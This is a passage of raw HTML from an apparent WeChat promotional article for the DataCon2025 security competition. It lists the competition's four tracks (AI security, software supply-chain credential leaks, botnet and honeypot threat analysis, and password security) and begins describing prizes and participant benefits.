100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px 0px -35px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 48px;color: rgb(255, 255, 255);text-shadow: rgb(205, 224, 249) 0em 0.028em 0em, rgb(205, 224, 249) 0.028em 0em 0em, rgb(205, 224, 249) 0.028em 0.028em 0em, rgb(205, 224, 249) -0.028em -0.028em 0em, rgb(205, 224, 249) 0.028em -0.028em 0em, rgb(205, 224, 249) -0.028em 0.028em 0em, rgb(205, 224, 249) 0em -0.028em 0em, rgb(205, 224, 249) -0.028em 0em 0em;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);text-shadow: none;font-size: 48px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">PART.0</span></strong><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">3</span></strong></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 24px;color: rgb(0, 164, 255);text-align: center;"><strong data-brushtype="text" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">四大赛道，精准布局</span></p></strong></p></div></div></div></div><div data-width="92%" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 92%;box-sizing: border-box;overflow-wrap: break-word !important;width: 622.833px;flex: 0 0 92%;z-index: 5;"><div data-tools="135编辑器" data-id="161999" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;border: 1px solid rgb(0, 164, 255);overflow: hidden;background: linear-gradient(rgb(205, 224, 249) 0%, rgb(255, 255, 255) 10%);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p data-width="100%" nodeleaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 600.167px;overflow: hidden;"><img data-imgfileid="100005755" alt="图片" class="rich_pages wxw-img" data-ratio="0.4925925925925926" data-s="300,640" data-type="jpeg" data-w="1080" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: baseline;height: auto !important;width: 509px !important;display: block;visibility: visible !important;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/RicNZQMn3FU7k5NebBnMQWaSFpuC5dJDrgRGvfN14CvOvHzwY8ILCNy84o09dZxJvFuO6DuaC8z95gR4MgZ9T8Q/0?wx_fmt=jpeg&amp;from=appmsg" data-cropx2="1280" data-cropy2="631.1984282907662" src="https://wechat2rss.xlab.app/img-proxy/?k=a01cee7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRicNZQMn3FU7k5NebBnMQWaSFpuC5dJDrhylPwzbia6CeIqNJtRB4ia1TfFuAWP9zAdGibYQeFrUnO3KQiawuvzU4qQ%2F640%3Fwx_fmt%3Djpeg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D2"/></p></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-autoskip="1" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: 400;color: rgb(51, 51, 51);text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height: 2em;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">DataCon2025竞赛设置了</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com onekey&#34;,&#34;style&#34;:&#34;flex-direction:column;display:flex;box-sizing:border-box;background-color:rgb(247, 248, 249);padding:0px;font-size:30px;letter-spacing:1px;line-height:1.6;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-width&#34;:&#34;92%&#34;,&#34;style&#34;:&#34;width: 92%;flex: 0 0 92%;margin-left: auto;margin-right: auto;z-index: 5;box-sizing:border-box;max-width:92% !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;161999&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;,&#34;style&#34;:&#34;font-weight: 400;color: #333333;text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height:2em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;color: rgb(0, 128, 255);font-weight: bold;">AI安全、</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com onekey&#34;,&#34;style&#34;:&#34;flex-direction:column;display:flex;box-sizing:border-box;background-color:rgb(247, 248, 249);padding:0px;font-size:30px;letter-spacing:1px;line-height:1.6;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-width&#34;:&#34;92%&#34;,&#34;style&#34;:&#34;width: 92%;flex: 0 0 92%;margin-left: auto;margin-right: auto;z-index: 5;box-sizing:border-box;max-width:92% !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;161999&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;,&#34;style&#34;:&#34;font-weight: 400;color: #333333;text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height:2em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;color: rgb(0, 128, 255);font-weight: bold;">软件供应链安全、</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com onekey&#34;,&#34;style&#34;:&#34;flex-direction:column;display:flex;box-sizing:border-box;background-color:rgb(247, 248, 249);padding:0px;font-size:30px;letter-spacing:1px;line-height:1.6;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-width&#34;:&#34;92%&#34;,&#34;style&#34;:&#34;width: 92%;flex: 0 0 92%;margin-left: auto;margin-right: auto;z-index: 5;box-sizing:border-box;max-width:92% !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;161999&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;,&#34;style&#34;:&#34;font-weight: 400;color: #333333;text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height:2em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;color: rgb(0, 128, 255);font-weight: bold;">互联网威胁分析赛道、</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com onekey&#34;,&#34;style&#34;:&#34;flex-direction:column;display:flex;box-sizing:border-box;background-color:rgb(247, 248, 249);padding:0px;font-size:30px;letter-spacing:1px;line-height:1.6;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-width&#34;:&#34;92%&#34;,&#34;style&#34;:&#34;width: 92%;flex: 0 0 92%;margin-left: auto;margin-right: auto;z-index: 5;box-sizing:border-box;max-width:92% !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;161999&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;,&#34;style&#34;:&#34;font-weight: 400;color: #333333;text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height:2em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;color: rgb(0, 128, 255);font-weight: bold;">口令安全</span></span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;color: rgb(0, 128, 255);font-weight: bold;">四大赛道</span><span textstyle="" style="font-size: 16px;">，本届赛事延续“真实场景 + 海量数据” 核心优势，组委会将提供脱敏后的企业级数据集，</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com onekey&#34;,&#34;style&#34;:&#34;flex-direction:column;display:flex;box-sizing:border-box;background-color:rgb(247, 248, 249);padding:0px;font-size:30px;letter-spacing:1px;line-height:1.6;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-width&#34;:&#34;92%&#34;,&#34;style&#34;:&#34;width: 92%;flex: 0 0 92%;margin-left: auto;margin-right: auto;z-index: 5;box-sizing:border-box;max-width:92% !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;161999&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;,&#34;style&#34;:&#34;font-weight: 400;color: #333333;text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height:2em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">精准布局，覆盖网安核心战场</span></span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">让你在模拟实战中直面行业痛点。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">⭐</span></span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;font-weight: bold;">AI 安全：</span><span textstyle="" style="font-size: 16px;">聚焦大模型应用基础设施安全，探索私有库数据泄露风险，筑牢智能服务隐私屏障；</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">⭐</span></span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;font-weight: bold;">软件供应链安全：</span><span textstyle="" style="font-size: 16px;">检测开源生态凭证泄露，平衡检测精度与效率，筑牢开发源头防线；</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">⭐</span></span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;font-weight: bold;">互联网威胁分析：</span><span textstyle="" style="font-size: 16px;">跟踪僵尸网络最新动向，分析蜜罐流量中的漏洞线索；</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">⭐</span></span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 14px;letter-spacing: 1.5px;font-weight: 400;"><span textstyle="" style="font-size: 16px;font-weight: bold;">口令安全：</span><span textstyle="" style="font-size: 16px;">揭开个人口令安全的脆弱真相。</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 30px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><div data-width="92%" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 92%;box-sizing: border-box;overflow-wrap: break-word !important;width: 622.833px;flex: 0 0 92%;z-index: 5;"><div data-role="title" data-tools="135编辑器" data-id="163232" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 10px auto 20px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;justify-content: center;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px 0px -35px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 48px;color: rgb(255, 255, 255);text-shadow: rgb(205, 224, 249) 0em 0.028em 0em, rgb(205, 224, 249) 0.028em 0em 0em, rgb(205, 224, 249) 0.028em 0.028em 0em, rgb(205, 224, 249) -0.028em -0.028em 0em, rgb(205, 224, 249) 0.028em -0.028em 0em, rgb(205, 224, 249) -0.028em 0.028em 0em, rgb(205, 224, 249) 0em -0.028em 0em, rgb(205, 224, 249) -0.028em 0em 0em;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);text-shadow: none;font-size: 48px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">PART.0</span></strong><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">4</span></strong></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 24px;color: rgb(0, 164, 255);text-align: center;"><strong data-brushtype="text" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">顶尖背书，丰厚权益</span></p></strong></p></div></div></div></div><div data-width="92%" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 92%;box-sizing: border-box;overflow-wrap: break-word !important;width: 622.833px;flex: 0 0 92%;z-index: 5;"><div data-tools="135编辑器" data-id="161999" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 10px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-width="100%" nodeleaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 622.833px;overflow: hidden;"><img data-imgfileid="100005243" alt="图片" class="rich_pages wxw-img" data-ratio="0.6666666666666666" data-s="300,640" data-type="jpeg" data-w="1080" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: baseline;height: auto !important;width: 622.833px !important;display: block;visibility: visible !important;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/RicNZQMn3FU5C2yGPibRrxtkCzeibFeu1bw3HjOa35SrHCjRy7UhQVE0sGdkbtJic1oRbFsCaabJa377hZQsl5HaUg/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="532" data-cropsely2="355" src="https://wechat2rss.xlab.app/img-proxy/?k=9d7a109c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FRicNZQMn3FU5C2yGPibRrxtkCzeibFeu1bw3HjOa35SrHCjRy7UhQVE0sGdkbtJic1oRbFsCaabJa377hZQsl5HaUg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D3"/></p></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-autoskip="1" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: 400;color: rgb(51, 51, 51);text-shadow: none;letter-spacing: 1.5px;font-size: 14px;line-height: 2em;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">本届DataCon竞赛，除了为选手们提供丰厚的奖金奖励外，更争取了到了校企绿色通道、专项培训等丰厚的权益，希望这些丰厚的奖励和权益能够激励选手们全力以赴，在竞赛中展现出自己的最佳水平。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-pm-slice="1 1 